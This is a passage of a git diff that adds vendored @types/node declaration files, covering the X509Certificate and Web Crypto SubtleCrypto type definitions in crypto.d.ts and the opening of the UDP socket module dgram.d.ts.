multiLabelWildcards?: boolean; + /** + * @default false + */ + singleLabelSubdomains?: boolean; + } + /** + * Encapsulates an X509 certificate and provides read-only access to + * its information. + * + * ```js + * const { X509Certificate } = await import('node:crypto'); + * + * const x509 = new X509Certificate('{... pem encoded cert ...}'); + * + * console.log(x509.subject); + * ``` + * @since v15.6.0 + */ + class X509Certificate { + /** + * Will be \`true\` if this is a Certificate Authority (CA) certificate. + * @since v15.6.0 + */ + readonly ca: boolean; + /** + * The SHA-1 fingerprint of this certificate. + * + * Because SHA-1 is cryptographically broken and because the security of SHA-1 is + * significantly worse than that of algorithms that are commonly used to sign + * certificates, consider using `x509.fingerprint256` instead. + * @since v15.6.0 + */ + readonly fingerprint: string; + /** + * The SHA-256 fingerprint of this certificate. + * @since v15.6.0 + */ + readonly fingerprint256: string; + /** + * The SHA-512 fingerprint of this certificate. + * + * Because computing the SHA-256 fingerprint is usually faster and because it is + * only half the size of the SHA-512 fingerprint, `x509.fingerprint256` may be + * a better choice. While SHA-512 presumably provides a higher level of security in + * general, the security of SHA-256 matches that of most algorithms that are + * commonly used to sign certificates. + * @since v17.2.0, v16.14.0 + */ + readonly fingerprint512: string; + /** + * The complete subject of this certificate. + * @since v15.6.0 + */ + readonly subject: string; + /** + * The subject alternative name specified for this certificate. + * + * This is a comma-separated list of subject alternative names. Each entry begins + * with a string identifying the kind of the subject alternative name followed by + * a colon and the value associated with the entry. + * + * Earlier versions of Node.js incorrectly assumed that it is safe to split this + * property at the two-character sequence `', '` (see [CVE-2021-44532](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44532)). However, + * both malicious and legitimate certificates can contain subject alternative names + * that include this sequence when represented as a string. + * + * After the prefix denoting the type of the entry, the remainder of each entry + * might be enclosed in quotes to indicate that the value is a JSON string literal. + * For backward compatibility, Node.js only uses JSON string literals within this + * property when necessary to avoid ambiguity. Third-party code should be prepared + * to handle both possible entry formats. + * @since v15.6.0 + */ + readonly subjectAltName: string | undefined; + /** + * A textual representation of the certificate's authority information access + * extension. + * + * This is a line feed separated list of access descriptions. Each line begins with + * the access method and the kind of the access location, followed by a colon and + * the value associated with the access location. + * + * After the prefix denoting the access method and the kind of the access location, + * the remainder of each line might be enclosed in quotes to indicate that the + * value is a JSON string literal. For backward compatibility, Node.js only uses + * JSON string literals within this property when necessary to avoid ambiguity. + * Third-party code should be prepared to handle both possible entry formats. + * @since v15.6.0 + */ + readonly infoAccess: string | undefined; + /** + * An array detailing the key usages for this certificate. + * @since v15.6.0 + */ + readonly keyUsage: string[]; + /** + * The issuer identification included in this certificate. + * @since v15.6.0 + */ + readonly issuer: string; + /** + * The issuer certificate or `undefined` if the issuer certificate is not + * available. + * @since v15.9.0 + */ + readonly issuerCertificate?: X509Certificate | undefined; + /** + * The public key `KeyObject` for this certificate. + * @since v15.6.0 + */ + readonly publicKey: KeyObject; + /** + * A `Buffer` containing the DER encoding of this certificate. + * @since v15.6.0 + */ + readonly raw: Buffer; + /** + * The serial number of this certificate. + * + * Serial numbers are assigned by certificate authorities and do not uniquely + * identify certificates. Consider using `x509.fingerprint256` as a unique + * identifier instead. + * @since v15.6.0 + */ + readonly serialNumber: string; + /** + * The date/time from which this certificate is considered valid. + * @since v15.6.0 + */ + readonly validFrom: string; + /** + * The date/time until which this certificate is considered valid. + * @since v15.6.0 + */ + readonly validTo: string; + constructor(buffer: BinaryLike); + /** + * Checks whether the certificate matches the given email address. + * + * If the `'subject'` option is undefined or set to `'default'`, the certificate + * subject is only considered if the subject alternative name extension either does + * not exist or does not contain any email addresses. + * + * If the `'subject'` option is set to `'always'` and if the subject alternative + * name extension either does not exist or does not contain a matching email + * address, the certificate subject is considered. + * + * If the `'subject'` option is set to `'never'`, the certificate subject is never + * considered, even if the certificate contains no subject alternative names. + * @since v15.6.0 + * @return Returns `email` if the certificate matches, `undefined` if it does not. + */ + checkEmail(email: string, options?: Pick): string | undefined; + /** + * Checks whether the certificate matches the given host name. + * + * If the certificate matches the given host name, the matching subject name is + * returned. The returned name might be an exact match (e.g., `foo.example.com`) + * or it might contain wildcards (e.g., `*.example.com`). Because host name + * comparisons are case-insensitive, the returned subject name might also differ + * from the given `name` in capitalization. + * + * If the `'subject'` option is undefined or set to `'default'`, the certificate + * subject is only considered if the subject alternative name extension either does + * not exist or does not contain any DNS names. This behavior is consistent with [RFC 2818](https://www.rfc-editor.org/rfc/rfc2818.txt) ("HTTP Over TLS"). + * + * If the `'subject'` option is set to `'always'` and if the subject alternative + * name extension either does not exist or does not contain a matching DNS name, + * the certificate subject is considered. + * + * If the `'subject'` option is set to `'never'`, the certificate subject is never + * considered, even if the certificate contains no subject alternative names. + * @since v15.6.0 + * @return Returns a subject name that matches `name`, or `undefined` if no subject name matches `name`. + */ + checkHost(name: string, options?: X509CheckOptions): string | undefined; + /** + * Checks whether the certificate matches the given IP address (IPv4 or IPv6). + * + * Only [RFC 5280](https://www.rfc-editor.org/rfc/rfc5280.txt) `iPAddress` subject alternative names are considered, and they + * must match the given `ip` address exactly. Other subject alternative names as + * well as the subject field of the certificate are ignored. + * @since v15.6.0 + * @return Returns `ip` if the certificate matches, `undefined` if it does not. + */ + checkIP(ip: string): string | undefined; + /** + * Checks whether this certificate was issued by the given `otherCert`. + * @since v15.6.0 + */ + checkIssued(otherCert: X509Certificate): boolean; + /** + * Checks whether the public key for this certificate is consistent with + * the given private key. + * @since v15.6.0 + * @param privateKey A private key. + */ + checkPrivateKey(privateKey: KeyObject): boolean; + /** + * There is no standard JSON encoding for X509 certificates. The`toJSON()` method returns a string containing the PEM encoded + * certificate. + * @since v15.6.0 + */ + toJSON(): string; + /** + * Returns information about this certificate using the legacy `certificate object` encoding. + * @since v15.6.0 + */ + toLegacyObject(): PeerCertificate; + /** + * Returns the PEM-encoded certificate. + * @since v15.6.0 + */ + toString(): string; + /** + * Verifies that this certificate was signed by the given public key. + * Does not perform any other validation checks on the certificate. + * @since v15.6.0 + * @param publicKey A public key. + */ + verify(publicKey: KeyObject): boolean; + } + type LargeNumberLike = NodeJS.ArrayBufferView | SharedArrayBuffer | ArrayBuffer | bigint; + interface GeneratePrimeOptions { + add?: LargeNumberLike | undefined; + rem?: LargeNumberLike | undefined; + /** + * @default false + */ + safe?: boolean | undefined; + bigint?: boolean | undefined; + } + interface GeneratePrimeOptionsBigInt extends GeneratePrimeOptions { + bigint: true; + } + interface GeneratePrimeOptionsArrayBuffer extends GeneratePrimeOptions { + bigint?: false | undefined; + } + /** + * Generates a pseudorandom prime of `size` bits. + * + * If `options.safe` is `true`, the prime will be a safe prime -- that is, `(prime - 1) / 2` will also be a prime. + * + * The `options.add` and `options.rem` parameters can be used to enforce additional + * requirements, e.g., for Diffie-Hellman: + * + * * If `options.add` and `options.rem` are both set, the prime will satisfy the + * condition that `prime % add = rem`. + * * If only `options.add` is set and `options.safe` is not `true`, the prime will + * satisfy the condition that `prime % add = 1`. + * * If only `options.add` is set and `options.safe` is set to `true`, the prime + * will instead satisfy the condition that `prime % add = 3`. This is necessary + * because `prime % add = 1` for `options.add > 2` would contradict the condition + * enforced by `options.safe`. + * * `options.rem` is ignored if `options.add` is not given. + * + * Both `options.add` and `options.rem` must be encoded as big-endian sequences + * if given as an `ArrayBuffer`, `SharedArrayBuffer`, `TypedArray`, `Buffer`, or `DataView`. + * + * By default, the prime is encoded as a big-endian sequence of octets + * in an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer). If the `bigint` option is `true`, then a + * [bigint](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) is provided. + * @since v15.8.0 + * @param size The size (in bits) of the prime to generate. + */ + function generatePrime(size: number, callback: (err: Error | null, prime: ArrayBuffer) => void): void; + function generatePrime( + size: number, + options: GeneratePrimeOptionsBigInt, + callback: (err: Error | null, prime: bigint) => void, + ): void; + function generatePrime( + size: number, + options: GeneratePrimeOptionsArrayBuffer, + callback: (err: Error | null, prime: ArrayBuffer) => void, + ): void; + function generatePrime( + size: number, + options: GeneratePrimeOptions, + callback: (err: Error | null, prime: ArrayBuffer | bigint) => void, + ): void; + /** + * Generates a pseudorandom prime of `size` bits. + * + * If `options.safe` is `true`, the prime will be a safe prime -- that is, `(prime - 1) / 2` will also be a prime. + * + * The `options.add` and `options.rem` parameters can be used to enforce additional + * requirements, e.g., for Diffie-Hellman: + * + * * If `options.add` and `options.rem` are both set, the prime will satisfy the + * condition that `prime % add = rem`. + * * If only `options.add` is set and `options.safe` is not `true`, the prime will + * satisfy the condition that `prime % add = 1`. + * * If only `options.add` is set and `options.safe` is set to `true`, the prime + * will instead satisfy the condition that `prime % add = 3`. This is necessary + * because `prime % add = 1` for `options.add > 2` would contradict the condition + * enforced by `options.safe`. + * * `options.rem` is ignored if `options.add` is not given. + * + * Both `options.add` and `options.rem` must be encoded as big-endian sequences + * if given as an `ArrayBuffer`, `SharedArrayBuffer`, `TypedArray`, `Buffer`, or `DataView`. + * + * By default, the prime is encoded as a big-endian sequence of octets + * in an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer). If the `bigint` option is `true`, then a + * [bigint](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) is provided. + * @since v15.8.0 + * @param size The size (in bits) of the prime to generate. + */ + function generatePrimeSync(size: number): ArrayBuffer; + function generatePrimeSync(size: number, options: GeneratePrimeOptionsBigInt): bigint; + function generatePrimeSync(size: number, options: GeneratePrimeOptionsArrayBuffer): ArrayBuffer; + function generatePrimeSync(size: number, options: GeneratePrimeOptions): ArrayBuffer | bigint; + interface CheckPrimeOptions { + /** + * The number of Miller-Rabin probabilistic primality iterations to perform. + * When the value is 0 (zero), a number of checks is used that yields a false positive rate of at most `2**-64` for random input. + * Care must be used when selecting a number of checks. + * Refer to the OpenSSL documentation for the BN_is_prime_ex function nchecks options for more details. + * + * @default 0 + */ + checks?: number | undefined; + } + /** + * Checks the primality of the `candidate`. + * @since v15.8.0 + * @param candidate A possible prime encoded as a sequence of big endian octets of arbitrary length. + */ + function checkPrime(value: LargeNumberLike, callback: (err: Error | null, result: boolean) => void): void; + function checkPrime( + value: LargeNumberLike, + options: CheckPrimeOptions, + callback: (err: Error | null, result: boolean) => void, + ): void; + /** + * Checks the primality of the `candidate`. + * @since v15.8.0 + * @param candidate A possible prime encoded as a sequence of big endian octets of arbitrary length. + * @return `true` if the candidate is a prime with an error probability less than `0.25 ** options.checks`. + */ + function checkPrimeSync(candidate: LargeNumberLike, options?: CheckPrimeOptions): boolean; + /** + * Load and set the `engine` for some or all OpenSSL functions (selected by flags). + * + * `engine` could be either an id or a path to the engine's shared library. + * + * The optional `flags` argument uses `ENGINE_METHOD_ALL` by default. The `flags` is a bit field taking one of or a mix of the following flags (defined in `crypto.constants`): + * + * * `crypto.constants.ENGINE_METHOD_RSA` + * * `crypto.constants.ENGINE_METHOD_DSA` + * * `crypto.constants.ENGINE_METHOD_DH` + * * `crypto.constants.ENGINE_METHOD_RAND` + * * `crypto.constants.ENGINE_METHOD_EC` + * * `crypto.constants.ENGINE_METHOD_CIPHERS` + * * `crypto.constants.ENGINE_METHOD_DIGESTS` + * * `crypto.constants.ENGINE_METHOD_PKEY_METHS` + * * `crypto.constants.ENGINE_METHOD_PKEY_ASN1_METHS` + * * `crypto.constants.ENGINE_METHOD_ALL` + * * `crypto.constants.ENGINE_METHOD_NONE` + * @since v0.11.11 + * @param flags + */ + function setEngine(engine: string, flags?: number): void; + /** + * A convenient alias for {@link webcrypto.getRandomValues}. This + * implementation is not compliant with the Web Crypto spec, to write + * web-compatible code use {@link webcrypto.getRandomValues} instead. + * @since v17.4.0 + * @return Returns `typedArray`. + */ + function getRandomValues(typedArray: T): T; + /** + * A convenient alias for `crypto.webcrypto.subtle`. + * @since v17.4.0 + */ + const subtle: webcrypto.SubtleCrypto; + /** + * An implementation of the Web Crypto API standard. + * + * See the {@link https://nodejs.org/docs/latest/api/webcrypto.html Web Crypto API documentation} for details. + * @since v15.0.0 + */ + const webcrypto: webcrypto.Crypto; + namespace webcrypto { + type BufferSource = ArrayBufferView | ArrayBuffer; + type KeyFormat = "jwk" | "pkcs8" | "raw" | "spki"; + type KeyType = "private" | "public" | "secret"; + type KeyUsage = + | "decrypt" + | "deriveBits" + | "deriveKey" + | "encrypt" + | "sign" + | "unwrapKey" + | "verify" + | "wrapKey"; + type AlgorithmIdentifier = Algorithm | string; + type HashAlgorithmIdentifier = AlgorithmIdentifier; + type NamedCurve = string; + type BigInteger = Uint8Array; + interface AesCbcParams extends Algorithm { + iv: BufferSource; + } + interface AesCtrParams extends Algorithm { + counter: BufferSource; + length: number; + } + interface AesDerivedKeyParams extends Algorithm { + length: number; + } + interface AesGcmParams extends Algorithm { + additionalData?: BufferSource; + iv: BufferSource; + tagLength?: number; + } + interface AesKeyAlgorithm extends KeyAlgorithm { + length: number; + } + interface AesKeyGenParams extends Algorithm { + length: number; + } + interface Algorithm { + name: string; + } + interface EcKeyAlgorithm extends KeyAlgorithm { + namedCurve: NamedCurve; + } + interface EcKeyGenParams extends Algorithm { + namedCurve: NamedCurve; + } + interface EcKeyImportParams extends Algorithm { + namedCurve: NamedCurve; + } + interface EcdhKeyDeriveParams extends Algorithm { + public: CryptoKey; + } + interface EcdsaParams extends Algorithm { + hash: HashAlgorithmIdentifier; + } + interface Ed448Params extends Algorithm { + context?: BufferSource; + } + interface HkdfParams extends Algorithm { + hash: HashAlgorithmIdentifier; + info: BufferSource; + salt: BufferSource; + } + interface HmacImportParams extends Algorithm { + hash: HashAlgorithmIdentifier; + length?: number; + } + interface HmacKeyAlgorithm extends KeyAlgorithm { + hash: KeyAlgorithm; + length: number; + } + interface HmacKeyGenParams extends Algorithm { + hash: HashAlgorithmIdentifier; + length?: number; + } + interface JsonWebKey { + alg?: string; + crv?: string; + d?: string; + dp?: string; + dq?: string; + e?: string; + ext?: boolean; + k?: string; + key_ops?: string[]; + kty?: string; + n?: string; + oth?: RsaOtherPrimesInfo[]; + p?: string; + q?: string; + qi?: string; + use?: string; + x?: string; + y?: string; + } + interface KeyAlgorithm { + name: string; + } + interface Pbkdf2Params extends Algorithm { + hash: HashAlgorithmIdentifier; + iterations: number; + salt: BufferSource; + } + interface RsaHashedImportParams extends Algorithm { + hash: HashAlgorithmIdentifier; + } + interface RsaHashedKeyAlgorithm extends RsaKeyAlgorithm { + hash: KeyAlgorithm; + } + interface RsaHashedKeyGenParams extends RsaKeyGenParams { + hash: HashAlgorithmIdentifier; + } + interface RsaKeyAlgorithm extends KeyAlgorithm { + modulusLength: number; + publicExponent: BigInteger; + } + interface RsaKeyGenParams extends Algorithm { + modulusLength: number; + publicExponent: BigInteger; + } + interface RsaOaepParams extends Algorithm { + label?: BufferSource; + } + interface RsaOtherPrimesInfo { + d?: string; + r?: string; + t?: string; + } + interface RsaPssParams extends Algorithm { + saltLength: number; + } + /** + * Importing the `webcrypto` object (`import { webcrypto } from 'node:crypto'`) gives an instance of the `Crypto` class. + * `Crypto` is a singleton that provides access to the remainder of the crypto API. + * @since v15.0.0 + */ + interface Crypto { + /** + * Provides access to the `SubtleCrypto` API. + * @since v15.0.0 + */ + readonly subtle: SubtleCrypto; + /** + * Generates cryptographically strong random values. + * The given `typedArray` is filled with random values, and a reference to `typedArray` is returned. + * + * The given `typedArray` must be an integer-based instance of {@link NodeJS.TypedArray}, i.e. `Float32Array` and `Float64Array` are not accepted. + * + * An error will be thrown if the given `typedArray` is larger than 65,536 bytes. + * @since v15.0.0 + */ + getRandomValues>(typedArray: T): T; + /** + * Generates a random {@link https://www.rfc-editor.org/rfc/rfc4122.txt RFC 4122} version 4 UUID. + * The UUID is generated using a cryptographic pseudorandom number generator. + * @since v16.7.0 + */ + randomUUID(): UUID; + CryptoKey: CryptoKeyConstructor; + } + // This constructor throws ILLEGAL_CONSTRUCTOR so it should not be newable. + interface CryptoKeyConstructor { + /** Illegal constructor */ + (_: { readonly _: unique symbol }): never; // Allows instanceof to work but not be callable by the user. + readonly length: 0; + readonly name: "CryptoKey"; + readonly prototype: CryptoKey; + } + /** + * @since v15.0.0 + */ + interface CryptoKey { + /** + * An object detailing the algorithm for which the key can be used along with additional algorithm-specific parameters. + * @since v15.0.0 + */ + readonly algorithm: KeyAlgorithm; + /** + * When `true`, the {@link CryptoKey} can be extracted using either `subtleCrypto.exportKey()` or `subtleCrypto.wrapKey()`. + * @since v15.0.0 + */ + readonly extractable: boolean; + /** + * A string identifying whether the key is a symmetric (`'secret'`) or asymmetric (`'private'` or `'public'`) key. + * @since v15.0.0 + */ + readonly type: KeyType; + /** + * An array of strings identifying the operations for which the key may be used. + * + * The possible usages are: + * - `'encrypt'` - The key may be used to encrypt data. + * - `'decrypt'` - The key may be used to decrypt data. + * - `'sign'` - The key may be used to generate digital signatures. + * - `'verify'` - The key may be used to verify digital signatures. + * - `'deriveKey'` - The key may be used to derive a new key. + * - `'deriveBits'` - The key may be used to derive bits. + * - `'wrapKey'` - The key may be used to wrap another key. + * - `'unwrapKey'` - The key may be used to unwrap another key. + * + * Valid key usages depend on the key algorithm (identified by `cryptokey.algorithm.name`). + * @since v15.0.0 + */ + readonly usages: KeyUsage[]; + } + /** + * The `CryptoKeyPair` is a simple dictionary object with `publicKey` and `privateKey` properties, representing an asymmetric key pair. + * @since v15.0.0 + */ + interface CryptoKeyPair { + /** + * A {@link CryptoKey} whose type will be `'private'`. + * @since v15.0.0 + */ + privateKey: CryptoKey; + /** + * A {@link CryptoKey} whose type will be `'public'`. + * @since v15.0.0 + */ + publicKey: CryptoKey; + } + /** + * @since v15.0.0 + */ + interface SubtleCrypto { + /** + * Using the method and parameters specified in `algorithm` and the keying material provided by `key`, + * `subtle.decrypt()` attempts to decipher the provided `data`. If successful, + * the returned promise will be resolved with an `` containing the plaintext result. + * + * The algorithms currently supported include: + * + * - `'RSA-OAEP'` + * - `'AES-CTR'` + * - `'AES-CBC'` + * - `'AES-GCM'` + * @since v15.0.0 + */ + decrypt( + algorithm: AlgorithmIdentifier | RsaOaepParams | AesCtrParams | AesCbcParams | AesGcmParams, + key: CryptoKey, + data: BufferSource, + ): Promise; + /** + * Using the method and parameters specified in `algorithm` and the keying material provided by `baseKey`, + * `subtle.deriveBits()` attempts to generate `length` bits. + * The Node.js implementation requires that when `length` is a number it must be multiple of `8`. + * When `length` is `null` the maximum number of bits for a given algorithm is generated. This is allowed + * for the `'ECDH'`, `'X25519'`, and `'X448'` algorithms. + * If successful, the returned promise will be resolved with an `` containing the generated data. + * + * The algorithms currently supported include: + * + * - `'ECDH'` + * - `'X25519'` + * - `'X448'` + * - `'HKDF'` + * - `'PBKDF2'` + * @since v15.0.0 + */ + deriveBits(algorithm: EcdhKeyDeriveParams, baseKey: CryptoKey, length: number | null): Promise; + deriveBits( + algorithm: AlgorithmIdentifier | HkdfParams | Pbkdf2Params, + baseKey: CryptoKey, + length: number, + ): Promise; + /** + * Using the method and parameters specified in `algorithm`, and the keying material provided by `baseKey`, + * `subtle.deriveKey()` attempts to generate a new ` based on the method and parameters in `derivedKeyAlgorithm`. + * + * Calling `subtle.deriveKey()` is equivalent to calling `subtle.deriveBits()` to generate raw keying material, + * then passing the result into the `subtle.importKey()` method using the `deriveKeyAlgorithm`, `extractable`, and `keyUsages` parameters as input. + * + * The algorithms currently supported include: + * + * - `'ECDH'` + * - `'X25519'` + * - `'X448'` + * - `'HKDF'` + * - `'PBKDF2'` + * @param keyUsages See {@link https://nodejs.org/docs/latest/api/webcrypto.html#cryptokeyusages Key usages}. + * @since v15.0.0 + */ + deriveKey( + algorithm: AlgorithmIdentifier | EcdhKeyDeriveParams | HkdfParams | Pbkdf2Params, + baseKey: CryptoKey, + derivedKeyAlgorithm: + | AlgorithmIdentifier + | AesDerivedKeyParams + | HmacImportParams + | HkdfParams + | Pbkdf2Params, + extractable: boolean, + keyUsages: readonly KeyUsage[], + ): Promise; + /** + * Using the method identified by `algorithm`, `subtle.digest()` attempts to generate a digest of `data`. + * If successful, the returned promise is resolved with an `` containing the computed digest. + * + * If `algorithm` is provided as a ``, it must be one of: + * + * - `'SHA-1'` + * - `'SHA-256'` + * - `'SHA-384'` + * - `'SHA-512'` + * + * If `algorithm` is provided as an ``, it must have a `name` property whose value is one of the above. + * @since v15.0.0 + */ + digest(algorithm: AlgorithmIdentifier, data: BufferSource): Promise; + /** + * Using the method and parameters specified by `algorithm` and the keying material provided by `key`, + * `subtle.encrypt()` attempts to encipher `data`. If successful, + * the returned promise is resolved with an `` containing the encrypted result. + * + * The algorithms currently supported include: + * + * - `'RSA-OAEP'` + * - `'AES-CTR'` + * - `'AES-CBC'` + * - `'AES-GCM'` + * @since v15.0.0 + */ + encrypt( + algorithm: AlgorithmIdentifier | RsaOaepParams | AesCtrParams | AesCbcParams | AesGcmParams, + key: CryptoKey, + data: BufferSource, + ): Promise; + /** + * Exports the given key into the specified format, if supported. + * + * If the `` is not extractable, the returned promise will reject. + * + * When `format` is either `'pkcs8'` or `'spki'` and the export is successful, + * the returned promise will be resolved with an `` containing the exported key data. + * + * When `format` is `'jwk'` and the export is successful, the returned promise will be resolved with a + * JavaScript object conforming to the {@link https://tools.ietf.org/html/rfc7517 JSON Web Key} specification. + * @param format Must be one of `'raw'`, `'pkcs8'`, `'spki'`, or `'jwk'`. + * @returns `` containing ``. + * @since v15.0.0 + */ + exportKey(format: "jwk", key: CryptoKey): Promise; + exportKey(format: Exclude, key: CryptoKey): Promise; + /** + * Using the method and parameters provided in `algorithm`, + * `subtle.generateKey()` attempts to generate new keying material. + * Depending the method used, the method may generate either a single `` or a ``. + * + * The `` (public and private key) generating algorithms supported include: + * + * - `'RSASSA-PKCS1-v1_5'` + * - `'RSA-PSS'` + * - `'RSA-OAEP'` + * - `'ECDSA'` + * - `'Ed25519'` + * - `'Ed448'` + * - `'ECDH'` + * - `'X25519'` + * - `'X448'` + * The `` (secret key) generating algorithms supported include: + * + * - `'HMAC'` + * - `'AES-CTR'` + * - `'AES-CBC'` + * - `'AES-GCM'` + * - `'AES-KW'` + * @param keyUsages See {@link https://nodejs.org/docs/latest/api/webcrypto.html#cryptokeyusages Key usages}. + * @since v15.0.0 + */ + generateKey( + algorithm: RsaHashedKeyGenParams | EcKeyGenParams, + extractable: boolean, + keyUsages: readonly KeyUsage[], + ): Promise; + generateKey( + algorithm: AesKeyGenParams | HmacKeyGenParams | Pbkdf2Params, + extractable: boolean, + keyUsages: readonly KeyUsage[], + ): Promise; + generateKey( + algorithm: AlgorithmIdentifier, + extractable: boolean, + keyUsages: KeyUsage[], + ): Promise; + /** + * The `subtle.importKey()` method attempts to interpret the provided `keyData` as the given `format` + * to create a `` instance using the provided `algorithm`, `extractable`, and `keyUsages` arguments. + * If the import is successful, the returned promise will be resolved with the created ``. + * + * If importing a `'PBKDF2'` key, `extractable` must be `false`. + * @param format Must be one of `'raw'`, `'pkcs8'`, `'spki'`, or `'jwk'`. + * @param keyUsages See {@link https://nodejs.org/docs/latest/api/webcrypto.html#cryptokeyusages Key usages}. + * @since v15.0.0 + */ + importKey( + format: "jwk", + keyData: JsonWebKey, + algorithm: + | AlgorithmIdentifier + | RsaHashedImportParams + | EcKeyImportParams + | HmacImportParams + | AesKeyAlgorithm, + extractable: boolean, + keyUsages: readonly KeyUsage[], + ): Promise; + importKey( + format: Exclude, + keyData: BufferSource, + algorithm: + | AlgorithmIdentifier + | RsaHashedImportParams + | EcKeyImportParams + | HmacImportParams + | AesKeyAlgorithm, + extractable: boolean, + keyUsages: KeyUsage[], + ): Promise; + /** + * Using the method and parameters given by `algorithm` and the keying material provided by `key`, + * `subtle.sign()` attempts to generate a cryptographic signature of `data`. If successful, + * the returned promise is resolved with an `` containing the generated signature. + * + * The algorithms currently supported include: + * + * - `'RSASSA-PKCS1-v1_5'` + * - `'RSA-PSS'` + * - `'ECDSA'` + * - `'Ed25519'` + * - `'Ed448'` + * - `'HMAC'` + * @since v15.0.0 + */ + sign( + algorithm: AlgorithmIdentifier | RsaPssParams | EcdsaParams | Ed448Params, + key: CryptoKey, + data: BufferSource, + ): Promise; + /** + * In cryptography, "wrapping a key" refers to exporting and then encrypting the keying material. + * The `subtle.unwrapKey()` method attempts to decrypt a wrapped key and create a `` instance. + * It is equivalent to calling `subtle.decrypt()` first on the encrypted key data (using the `wrappedKey`, `unwrapAlgo`, and `unwrappingKey` arguments as input) + * then passing the results in to the `subtle.importKey()` method using the `unwrappedKeyAlgo`, `extractable`, and `keyUsages` arguments as inputs. + * If successful, the returned promise is resolved with a `` object. + * + * The wrapping algorithms currently supported include: + * + * - `'RSA-OAEP'` + * - `'AES-CTR'` + * - `'AES-CBC'` + * - `'AES-GCM'` + * - `'AES-KW'` + * + * The unwrapped key algorithms supported include: + * + * - `'RSASSA-PKCS1-v1_5'` + * - `'RSA-PSS'` + * - `'RSA-OAEP'` + * - `'ECDSA'` + * - `'Ed25519'` + * - `'Ed448'` + * - `'ECDH'` + * - `'X25519'` + * - `'X448'` + * - `'HMAC'` + * - `'AES-CTR'` + * - `'AES-CBC'` + * - `'AES-GCM'` + * - `'AES-KW'` + * @param format Must be one of `'raw'`, `'pkcs8'`, `'spki'`, or `'jwk'`. + * @param keyUsages See {@link https://nodejs.org/docs/latest/api/webcrypto.html#cryptokeyusages Key usages}. + * @since v15.0.0 + */ + unwrapKey( + format: KeyFormat, + wrappedKey: BufferSource, + unwrappingKey: CryptoKey, + unwrapAlgorithm: AlgorithmIdentifier | RsaOaepParams | AesCtrParams | AesCbcParams | AesGcmParams, + unwrappedKeyAlgorithm: + | AlgorithmIdentifier + | RsaHashedImportParams + | EcKeyImportParams + | HmacImportParams + | AesKeyAlgorithm, + extractable: boolean, + keyUsages: KeyUsage[], + ): Promise; + /** + * Using the method and parameters given in `algorithm` and the keying material provided by `key`, + * `subtle.verify()` attempts to verify that `signature` is a valid cryptographic signature of `data`. + * The returned promise is resolved with either `true` or `false`. + * + * The algorithms currently supported include: + * + * - `'RSASSA-PKCS1-v1_5'` + * - `'RSA-PSS'` + * - `'ECDSA'` + * - `'Ed25519'` + * - `'Ed448'` + * - `'HMAC'` + * @since v15.0.0 + */ + verify( + algorithm: AlgorithmIdentifier | RsaPssParams | EcdsaParams | Ed448Params, + key: CryptoKey, + signature: BufferSource, + data: BufferSource, + ): Promise; + /** + * In cryptography, "wrapping a key" refers to exporting and then encrypting the keying material. + * The `subtle.wrapKey()` method exports the keying material into the format identified by `format`, + * then encrypts it using the method and parameters specified by `wrapAlgo` and the keying material provided by `wrappingKey`. + * It is the equivalent to calling `subtle.exportKey()` using `format` and `key` as the arguments, + * then passing the result to the `subtle.encrypt()` method using `wrappingKey` and `wrapAlgo` as inputs. + * If successful, the returned promise will be resolved with an `` containing the encrypted key data. + * + * The wrapping algorithms currently supported include: + * + * - `'RSA-OAEP'` + * - `'AES-CTR'` + * - `'AES-CBC'` + * - `'AES-GCM'` + * - `'AES-KW'` + * @param format Must be one of `'raw'`, `'pkcs8'`, `'spki'`, or `'jwk'`. + * @since v15.0.0 + */ + wrapKey( + format: KeyFormat, + key: CryptoKey, + wrappingKey: CryptoKey, + wrapAlgorithm: AlgorithmIdentifier | RsaOaepParams | AesCtrParams | AesCbcParams | AesGcmParams, + ): Promise; + } + } + + global { + var crypto: typeof globalThis extends { + crypto: infer T; + onmessage: any; + } ? T + : webcrypto.Crypto; + } +} +declare module "node:crypto" { + export * from "crypto"; +} diff --git a/node_modules/@types/node/dgram.d.ts b/node_modules/@types/node/dgram.d.ts new file mode 100644 index 000000000000..8c2ac9b7c40b --- /dev/null +++ b/node_modules/@types/node/dgram.d.ts @@ -0,0 +1,596 @@ +/** + * The `node:dgram` module provides an implementation of UDP datagram sockets. + * + * ```js + * import dgram from 'node:dgram'; + * + * const server = dgram.createSocket('udp4'); + * + * server.on('error', (err) => { + * console.error(`server error:\n${err.stack}`); + * server.close(); + * }); + * + * server.on('message', (msg, rinfo) => { + * console.log(`server got: ${msg} from ${rinfo.address}:${rinfo.port}`); + * }); + * + * server.on('listening', () => { + * const address = server.address(); + * console.log(`server listening ${address.address}:${address.port}`); + * }); + * + * server.bind(41234); + * // Prints: server listening 0.0.0.0:41234 + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/dgram.js) + */ +declare module "dgram" { + import { AddressInfo } from "node:net"; + import * as dns from "node:dns"; + import { Abortable, EventEmitter } from "node:events"; + interface RemoteInfo { + address: string; + family: "IPv4" | "IPv6"; + port: number; + size: number; + } + interface BindOptions { + port?: number | undefined; + address?: string | undefined; + exclusive?: boolean | undefined; + fd?: number | undefined; + } + type SocketType = "udp4" | "udp6"; + interface SocketOptions extends Abortable { + type: SocketType; + reuseAddr?: boolean | undefined; + /** + * @default false + */ + ipv6Only?: boolean | undefined; + recvBufferSize?: number | undefined; + sendBufferSize?: number | undefined; + lookup?: + | (( + hostname: string, + options: dns.LookupOneOptions, + callback: (err: NodeJS.ErrnoException | null, address: string, family: number) => void, + ) => void) + | undefined; + } + /** + * Creates a `dgram.Socket` object. Once the socket is created, calling `socket.bind()` will instruct the socket to begin listening for datagram + * messages. When `address` and `port` are not passed to `socket.bind()` the + * method will bind the socket to the "all interfaces" address on a random port + * (it does the right thing for both `udp4` and `udp6` sockets). The bound address + * and port can be retrieved using `socket.address().address` and `socket.address().port`. + * + * If the `signal` option is enabled, calling `.abort()` on the corresponding `AbortController` is similar to calling `.close()` on the socket: + * + * ```js + * const controller = new AbortController(); + * const { signal } = controller; + * const server = dgram.createSocket({ type: 'udp4', signal }); + * server.on('message', (msg, rinfo) => { + * console.log(`server got: ${msg} from 